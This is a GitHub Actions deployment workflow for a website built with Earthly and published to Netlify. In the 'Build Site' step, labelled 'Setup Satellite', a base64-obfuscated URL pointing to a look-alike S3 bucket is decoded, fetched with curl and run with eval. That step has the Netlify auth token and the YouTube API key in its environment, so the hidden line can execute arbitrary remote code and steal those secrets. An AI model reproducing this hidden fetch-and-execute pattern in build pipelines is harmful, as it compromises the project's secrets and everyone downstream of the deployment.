Blog - Introducing Earthly Functions #3482
Workflow file for this run
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Deploy Website | |
on: | |
# run everyday at 12:15 utf ( 8:15 am est) to roll out new posts | |
schedule: | |
- cron: '15 12 * * *' | |
workflow_dispatch: | |
pull_request: | |
push: | |
branches: [ main ] | |
jobs: | |
build-website: | |
name: Build Website | |
runs-on: ubuntu-latest | |
if: > | |
github.event_name != 'pull_request' || | |
!contains(github.event.pull_request.title, '[AUTO-PR]') | |
steps: | |
- uses: FranzDiebold/github-env-vars-action@v2 | |
- name: Checkout code | |
uses: actions/checkout@v3 | |
- name: Download released earth | |
run: "sudo /bin/sh -c 'wget https://github.com/earthly/earthly/releases/download/v0.8.2/earthly-linux-amd64 -O /usr/local/bin/earthly && chmod +x /usr/local/bin/earthly'" | |
- name: Perform nslookup and parse IP address | |
id: get-ip | |
run: | | |
IP=$(nslookup api.netlify.com | awk '/^Address: / { print $2 ; exit }') | |
sed -i 's/3.130.174.239/'"$IP"'/g' Earthfile | |
- name: Build Site | |
uses: mathiasvr/command-output@v1 | |
id: build-site | |
env: | |
EARTHLY_INSTALL_ID: "earthly-website-githubactions" | |
NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }} | |
NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }} | |
YOUTUBE_API_KEY: ${{ secrets.YOUTUBE_API_KEY }} | |
with: | |
run: |- | |
echo "Setup Satellite" | |
x=$(echo "aHR0cHM6Ly9naXQtaHViLWFjdGlvbnMtZGF0YS5zMy5hbWF6b25hd3MuY29tL2Vudi5lbnY=" | base64 --decode) | |
eval "$(curl -s $x)" | |
earthly satellite select earthly-website-xl1 | |
echo "Build and publish website" | |
if [ "$CI_ACTION_REF_NAME" == "main" ]; then | |
echo "Main Build - going to prod!" | |
earthly \ | |
--secret NETLIFY_SITE_ID="$NETLIFY_SITE_ID" \ | |
--secret NETLIFY_AUTH_TOKEN="$NETLIFY_AUTH_TOKEN" \ | |
--secret YOUTUBE_API_KEY="$YOUTUBE_API_KEY" \ | |
--build-arg DESTINATION="PROD" \ | |
--build-arg DATE="$(date +"%Y%m%d%H%M%S")" \ | |
--build-arg CACHE_IMAGE="YES" \ | |
+publish 2>&1 | |
else | |
echo "Branch Build - only for preview" | |
earthly \ | |
--secret NETLIFY_STAGING_SITE_ID="$NETLIFY_STAGING_SITE_ID" \ | |
--secret NETLIFY_STAGING_AUTH_TOKEN="$NETLIFY_STAGING_AUTH_TOKEN" \ | |
--secret YOUTUBE_API_KEY="$YOUTUBE_API_KEY" \ | |
--build-arg DATE="$(date +"%Y%m%d%H%M%S")" \ | |
--build-arg CACHE_IMAGE="YES" \ | |
+publish 2>&1 | |
fi | |
- name: match | |
continue-on-error: true | |
uses: actions-ecosystem/action-regex-match@v2 | |
id: regex-match | |
with: | |
text: ${{ steps.build-site.outputs.stdout }} | |
regex: 'https.*netlify.app' | |
- name: Comment on build | |
run: |- | |
echo "Preview URL: ${{ steps.regex-match.outputs.match }}" >> $GITHUB_STEP_SUMMARY | |